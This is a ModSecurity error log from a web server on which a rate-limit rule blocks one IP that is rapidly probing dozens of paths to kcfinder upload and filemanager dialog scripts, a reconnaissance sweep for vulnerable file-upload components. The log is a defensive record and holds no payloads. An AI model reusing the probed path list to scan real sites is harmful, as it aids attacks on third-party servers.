[Tue May 26 21:04:03.400800 2026] [:error] [pid 43701:tid 43706] [client 170.64.238.42:52048] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahWaQ4WtVI_UGrhtwKDHnQAAAUM"]
[Tue May 26 21:04:03.422109 2026] [:error] [pid 43701:tid 43713] [client 170.64.238.42:52072] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahWaQ4WtVI_UGrhtwKDHngAAAUo"]
[Tue May 26 21:04:03.484843 2026] [:error] [pid 36497:tid 36519] [client 170.64.238.42:52084] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahWaQ7jKQWM1gBmBY4gGNwAAAMk"]
[Tue May 26 21:04:03.529188 2026] [:error] [pid 43701:tid 43708] [client 170.64.238.42:52086] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahWaQ4WtVI_UGrhtwKDHogAAAUU"]
[Tue May 26 21:04:03.571900 2026] [:error] [pid 33977:tid 33994] [client 170.64.238.42:52092] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahWaQ-9cnSDNAU9sYPjuNAAAAA4"]
[Tue May 26 21:04:03.675147 2026] [:error] [pid 33977:tid 33991] [client 170.64.238.42:52104] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahWaQ-9cnSDNAU9sYPjuNQAAAAs"]
[Tue May 26 21:04:03.718510 2026] [:error] [pid 33886:tid 33911] [client 170.64.238.42:52116] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahWaQ7BYzgp5rPVdHcWjlQAAAFQ"]
[Tue May 26 21:04:03.774473 2026] [:error] [pid 33886:tid 33908] [client 170.64.238.42:52130] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahWaQ7BYzgp5rPVdHcWjlgAAAFE"]
[Tue May 26 21:04:03.868374 2026] [:error] [pid 43701:tid 43705] [client 170.64.238.42:52134] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahWaQ4WtVI_UGrhtwKDHowAAAUI"]
[Tue May 26 21:04:03.912278 2026] [:error] [pid 43701:tid 43715] [client 170.64.238.42:52142] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahWaQ4WtVI_UGrhtwKDHpAAAAUw"]
[Tue May 26 21:04:03.955446 2026] [:error] [pid 33886:tid 33903] [client 170.64.238.42:52156] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahWaQ7BYzgp5rPVdHcWjlwAAAEw"]
[Tue May 26 21:04:04.479043 2026] [:error] [pid 36497:tid 36522] [client 170.64.238.42:34542] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGOAAAAMw"]
[Tue May 26 21:04:04.493436 2026] [:error] [pid 36497:tid 36523] [client 170.64.238.42:34538] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGOQAAAM0"]
[Tue May 26 21:04:04.507621 2026] [:error] [pid 36497:tid 36520] [client 170.64.238.42:52038] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGOgAAAMo"]
[Tue May 26 21:04:04.642818 2026] [:error] [pid 43701:tid 43711] [client 170.64.238.42:52066] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHpwAAAUg"]
[Tue May 26 21:04:04.646676 2026] [:error] [pid 43701:tid 43718] [client 170.64.238.42:52068] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHqAAAAU8"]
[Tue May 26 21:04:04.650347 2026] [:error] [pid 43701:tid 43719] [client 170.64.238.42:52070] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHqQAAAVA"]
[Tue May 26 21:04:04.652137 2026] [:error] [pid 33887:tid 33919] [client 170.64.238.42:34490] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6sQAAAIA"]
[Tue May 26 21:04:04.658477 2026] [:error] [pid 36497:tid 36534] [client 170.64.238.42:34478] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGOwAAANg"]
[Tue May 26 21:04:04.660727 2026] [:error] [pid 36497:tid 36529] [client 170.64.238.42:34472] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGPAAAANM"]
[Tue May 26 21:04:04.661187 2026] [:error] [pid 33887:tid 33922] [client 170.64.238.42:34510] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahWaRNCOI_FV7meOxGc6sgAAAIM"]
[Tue May 26 21:04:04.665029 2026] [:error] [pid 36497:tid 36514] [client 170.64.238.42:34456] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGPQAAAMQ"]
[Tue May 26 21:04:04.666950 2026] [:error] [pid 36497:tid 36510] [client 170.64.238.42:34500] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGPgAAAMA"]
[Tue May 26 21:04:04.672280 2026] [:error] [pid 36497:tid 36511] [client 170.64.238.42:34520] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGPwAAAME"]
[Tue May 26 21:04:04.674910 2026] [:error] [pid 33887:tid 33939] [client 170.64.238.42:34536] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6swAAAJQ"]
[Tue May 26 21:04:04.675682 2026] [:error] [pid 33887:tid 33927] [client 170.64.238.42:52060] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahWaRNCOI_FV7meOxGc6tAAAAIg"]
[Tue May 26 21:04:04.710882 2026] [:error] [pid 36497:tid 36532] [client 170.64.238.42:52164] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGQQAAANY"]
[Tue May 26 21:04:04.710916 2026] [:error] [pid 36497:tid 36526] [client 170.64.238.42:52174] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGQAAAANA"]
[Tue May 26 21:04:04.717937 2026] [:error] [pid 36497:tid 36533] [client 170.64.238.42:52190] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGQgAAANc"]
[Tue May 26 21:04:04.723836 2026] [:error] [pid 36497:tid 36531] [client 170.64.238.42:52202] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGQwAAANU"]
[Tue May 26 21:04:04.730892 2026] [:error] [pid 33977:tid 33999] [client 170.64.238.42:52212] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuOAAAABM"]
[Tue May 26 21:04:04.731822 2026] [:error] [pid 33977:tid 33983] [client 170.64.238.42:52226] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuOQAAAAM"]
[Tue May 26 21:04:04.740888 2026] [:error] [pid 33977:tid 34001] [client 170.64.238.42:52230] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuOgAAABU"]
[Tue May 26 21:04:04.741543 2026] [:error] [pid 33977:tid 33996] [client 170.64.238.42:52246] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuOwAAABA"]
[Tue May 26 21:04:04.760747 2026] [:error] [pid 43701:tid 43720] [client 170.64.238.42:52250] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHqgAAAVE"]
[Tue May 26 21:04:04.761891 2026] [:error] [pid 43701:tid 43716] [client 170.64.238.42:52262] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHqwAAAU0"]
[Tue May 26 21:04:04.766048 2026] [:error] [pid 43701:tid 43703] [client 170.64.238.42:52272] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHrAAAAUA"]
[Tue May 26 21:04:04.773993 2026] [:error] [pid 43701:tid 43724] [client 170.64.238.42:52276] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHrQAAAVU"]
[Tue May 26 21:04:04.777375 2026] [:error] [pid 43701:tid 43709] [client 170.64.238.42:52292] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHrgAAAUY"]
[Tue May 26 21:04:04.778287 2026] [:error] [pid 43701:tid 43710] [client 170.64.238.42:52300] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHrwAAAUc"]
[Tue May 26 21:04:04.783494 2026] [:error] [pid 43701:tid 43727] [client 170.64.238.42:52306] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHsAAAAVg"]
[Tue May 26 21:04:04.785037 2026] [:error] [pid 43701:tid 43725] [client 170.64.238.42:52314] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHsQAAAVY"]
[Tue May 26 21:04:04.806300 2026] [:error] [pid 43701:tid 43706] [client 170.64.238.42:52320] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHsgAAAUM"]
[Tue May 26 21:04:04.807180 2026] [:error] [pid 33977:tid 33990] [client 170.64.238.42:52324] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuPAAAAAo"]
[Tue May 26 21:04:04.811301 2026] [:error] [pid 33977:tid 34000] [client 170.64.238.42:52340] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuPQAAABQ"]
[Tue May 26 21:04:04.818287 2026] [:error] [pid 33888:tid 33957] [client 170.64.238.42:52348] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahWaRDqzTeoxiinZsGENHAAAAQs"]
[Tue May 26 21:04:04.825475 2026] [:error] [pid 33977:tid 33987] [client 170.64.238.42:52352] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuPwAAAAc"]
[Tue May 26 21:04:04.828140 2026] [:error] [pid 33977:tid 33988] [client 170.64.238.42:52356] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuQAAAAAg"]
[Tue May 26 21:04:04.831222 2026] [:error] [pid 33977:tid 33984] [client 170.64.238.42:52362] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuQQAAAAQ"]
[Tue May 26 21:04:04.832157 2026] [:error] [pid 33977:tid 33997] [client 170.64.238.42:52374] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuQgAAABE"]
[Tue May 26 21:04:04.848619 2026] [:error] [pid 33977:tid 33985] [client 170.64.238.42:52384] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuQwAAAAU"]
[Tue May 26 21:04:04.856722 2026] [:error] [pid 33977:tid 33989] [client 170.64.238.42:52406] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuRQAAAAk"]
[Tue May 26 21:04:04.857300 2026] [:error] [pid 36497:tid 36515] [client 170.64.238.42:52390] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGRAAAAMU"]
[Tue May 26 21:04:04.873843 2026] [:error] [pid 36497:tid 36528] [client 170.64.238.42:52414] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGRQAAANI"]
